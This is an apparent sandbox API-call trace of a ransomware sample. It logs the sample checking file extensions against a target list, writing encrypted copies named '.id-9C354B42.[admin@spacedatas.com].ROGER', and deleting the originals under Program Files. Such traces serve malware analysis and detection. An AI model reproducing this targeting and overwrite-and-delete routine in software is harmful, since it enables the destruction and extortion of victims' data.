[0051.203] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0051.203] lstrlenW (lpString=".dbf") returned 4 [0051.203] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.203] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0051.203] lstrlenW (lpString=".1cd") returned 4 [0051.203] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.203] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0051.203] lstrlenW (lpString=".jpg") returned 4 [0051.203] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.204] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0051.204] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30 [0051.204] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0051.204] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=4955) returned 1 [0051.204] CloseHandle (hObject=0x390) returned 1 [0051.205] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png")) returned 0x20 [0051.205] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.205] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.205] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0051.205] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0051.205] lstrlenW (lpString=".doc") returned 4 [0051.205] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.205] lstrlenW (lpString=".docx") returned 5 [0051.205] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0051.205] lstrlenW (lpString=".pdf") returned 4 [0051.205] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.205] lstrlenW (lpString=".xls") returned 4 [0051.205] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.205] lstrlenW (lpString=".xlsx") returned 5 [0051.205] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0051.205] lstrlenW (lpString=".ppt") returned 4 [0051.205] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.205] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0051.205] lstrlenW (lpString=".zip") returned 4 [0051.205] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.205] lstrlenW (lpString=".rar") returned 4 [0051.205] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.205] lstrlenW (lpString=".bz2") returned 4 [0051.205] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.205] lstrlenW (lpString=".7z") returned 3 [0051.205] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.206] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0051.206] lstrlenW (lpString=".dbf") returned 4 [0051.206] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.206] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0051.206] lstrlenW (lpString=".1cd") returned 4 [0051.206] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.206] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0051.206] lstrlenW (lpString=".jpg") returned 4 [0051.206] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.206] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0051.206] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0051.206] lstrlenW (lpString=".doc") returned 4 [0051.206] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.206] lstrlenW (lpString=".docx") returned 5 [0051.206] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0051.206] lstrlenW (lpString=".pdf") returned 4 [0051.206] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.206] lstrlenW (lpString=".xls") returned 4 [0051.206] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.206] lstrlenW (lpString=".xlsx") returned 5 [0051.206] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0051.206] lstrlenW (lpString=".ppt") returned 4 [0051.206] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.206] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0051.206] lstrlenW (lpString=".zip") returned 4 [0051.206] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.206] lstrlenW (lpString=".rar") returned 4 [0051.206] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.206] lstrlenW (lpString=".bz2") returned 4 [0051.206] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.206] lstrlenW (lpString=".7z") returned 3 [0051.207] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.207] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0051.207] lstrlenW (lpString=".dbf") returned 4 [0051.207] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.207] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0051.207] lstrlenW (lpString=".1cd") returned 4 [0051.207] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.207] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0051.207] lstrlenW (lpString=".jpg") returned 4 [0051.207] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.207] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0051.207] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36 [0051.207] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0051.208] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=3081) returned 1 [0051.208] CloseHandle (hObject=0x390) returned 1 [0051.208] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png")) returned 0x20 [0051.208] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.208] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.208] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0051.208] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0051.208] lstrlenW (lpString=".doc") returned 4 [0051.208] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.208] lstrlenW (lpString=".docx") returned 5 [0051.208] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0051.208] lstrlenW (lpString=".pdf") returned 4 [0051.208] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.208] lstrlenW (lpString=".xls") returned 4 [0051.208] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.208] lstrlenW (lpString=".xlsx") returned 5 [0051.209] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0051.209] lstrlenW (lpString=".ppt") returned 4 [0051.209] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.209] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0051.209] lstrlenW (lpString=".zip") returned 4 [0051.209] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.209] lstrlenW (lpString=".rar") returned 4 [0051.209] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.209] lstrlenW (lpString=".bz2") returned 4 [0051.209] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.209] lstrlenW (lpString=".7z") returned 3 [0051.209] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.209] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0051.209] lstrlenW (lpString=".dbf") returned 4 [0051.209] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.209] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0051.209] lstrlenW (lpString=".1cd") returned 4 [0051.209] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.209] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0051.209] lstrlenW (lpString=".jpg") returned 4 [0051.209] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.209] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0051.209] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0051.209] lstrlenW (lpString=".doc") returned 4 [0051.209] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.209] lstrlenW (lpString=".docx") returned 5 [0051.209] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0051.209] lstrlenW (lpString=".pdf") returned 4 [0051.209] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.209] lstrlenW (lpString=".xls") returned 4 [0051.209] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.209] lstrlenW (lpString=".xlsx") returned 5 [0051.210] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0051.210] lstrlenW (lpString=".ppt") returned 4 [0051.210] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.210] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0051.210] lstrlenW (lpString=".zip") returned 4 [0051.210] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.210] lstrlenW (lpString=".rar") returned 4 [0051.210] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.210] lstrlenW (lpString=".bz2") returned 4 [0051.210] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.210] lstrlenW (lpString=".7z") returned 3 [0051.210] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.210] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0051.210] lstrlenW (lpString=".dbf") returned 4 [0051.210] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.210] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0051.210] lstrlenW (lpString=".1cd") returned 4 [0051.210] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.210] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0051.210] lstrlenW (lpString=".jpg") returned 4 [0051.210] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.210] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0051.210] lstrlenW (lpString="pushplaysubpicture.png") returned 22 [0051.210] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0051.211] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=2962) returned 1 [0051.211] CloseHandle (hObject=0x390) returned 1 [0051.211] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png")) returned 0x20 [0051.211] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.211] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.211] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0051.211] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0051.211] lstrlenW (lpString=".doc") returned 4 [0051.211] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.211] lstrlenW (lpString=".docx") returned 5 [0051.211] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0051.211] lstrlenW (lpString=".pdf") returned 4 [0051.211] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.211] lstrlenW (lpString=".xls") returned 4 [0051.211] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.211] lstrlenW (lpString=".xlsx") returned 5 [0051.211] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0051.211] lstrlenW (lpString=".ppt") returned 4 [0051.211] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.211] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0051.211] lstrlenW (lpString=".zip") returned 4 [0051.211] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.211] lstrlenW (lpString=".rar") returned 4 [0051.211] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.211] lstrlenW (lpString=".bz2") returned 4 [0051.212] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.212] lstrlenW (lpString=".7z") returned 3 [0051.212] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.212] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0051.212] lstrlenW (lpString=".dbf") returned 4 [0051.212] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.212] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0051.212] lstrlenW (lpString=".1cd") returned 4 [0051.212] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.212] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0051.212] lstrlenW (lpString=".jpg") returned 4 [0051.212] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.212] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0051.212] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0051.212] lstrlenW (lpString=".doc") returned 4 [0051.212] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.212] lstrlenW (lpString=".docx") returned 5 [0051.212] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0051.212] lstrlenW (lpString=".pdf") returned 4 [0051.212] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.212] lstrlenW (lpString=".xls") returned 4 [0051.212] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.212] lstrlenW (lpString=".xlsx") returned 5 [0051.212] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0051.212] lstrlenW (lpString=".ppt") returned 4 [0051.212] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.212] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0051.212] lstrlenW (lpString=".zip") returned 4 [0051.212] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.212] lstrlenW (lpString=".rar") returned 4 [0051.212] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.213] lstrlenW (lpString=".bz2") returned 4 [0051.213] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.213] lstrlenW (lpString=".7z") returned 3 [0051.213] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.213] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0051.213] lstrlenW (lpString=".dbf") returned 4 [0051.213] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.213] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0051.213] lstrlenW (lpString=".1cd") returned 4 [0051.213] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.213] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0051.213] lstrlenW (lpString=".jpg") returned 4 [0051.213] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.213] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0051.213] lstrlenW (lpString="Heart_ButtonGraphic.png") returned 23 [0051.213] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0051.214] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=30138) returned 1 [0051.214] CloseHandle (hObject=0x3e0) returned 1 [0051.214] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png")) returned 0x20 [0051.214] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.214] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.214] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0051.214] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0051.214] lstrlenW (lpString=".doc") returned 4 [0051.214] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.214] lstrlenW (lpString=".docx") returned 5 [0051.214] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0051.214] lstrlenW (lpString=".pdf") returned 4 [0051.214] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.215] lstrlenW (lpString=".xls") returned 4 [0051.215] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.215] lstrlenW (lpString=".xlsx") returned 5 [0051.215] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0051.215] lstrlenW (lpString=".ppt") returned 4 [0051.215] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.215] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0051.215] lstrlenW (lpString=".zip") returned 4 [0051.215] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.215] lstrlenW (lpString=".rar") returned 4 [0051.215] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.215] lstrlenW (lpString=".bz2") returned 4 [0051.215] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.215] lstrlenW (lpString=".7z") returned 3 [0051.215] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.215] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0051.215] lstrlenW (lpString=".dbf") returned 4 [0051.215] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.248] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0051.249] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0054.224] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.225] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0054.227] GetLastError () returned 0x0 [0054.228] ReadFile (in: hFile=0x35c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x78e4, lpOverlapped=0x0) returned 1 [0054.247] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x78f0, lpOverlapped=0x0) returned 1 [0054.259] ReadFile (in: hFile=0x35c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.260] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.260] SetEndOfFile (hFile=0x3d8) returned 1 [0054.260] CloseHandle (hObject=0x3d8) returned 1 [0054.260] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.260] SetEndOfFile (hFile=0x35c) returned 1 [0054.261] CloseHandle (hObject=0x35c) returned 1 [0054.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 1 [0054.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.262] lstrlenW (lpString=".doc") returned 4 [0054.262] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.262] lstrlenW (lpString=".docx") returned 5 [0054.262] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0054.262] lstrlenW (lpString=".pdf") returned 4 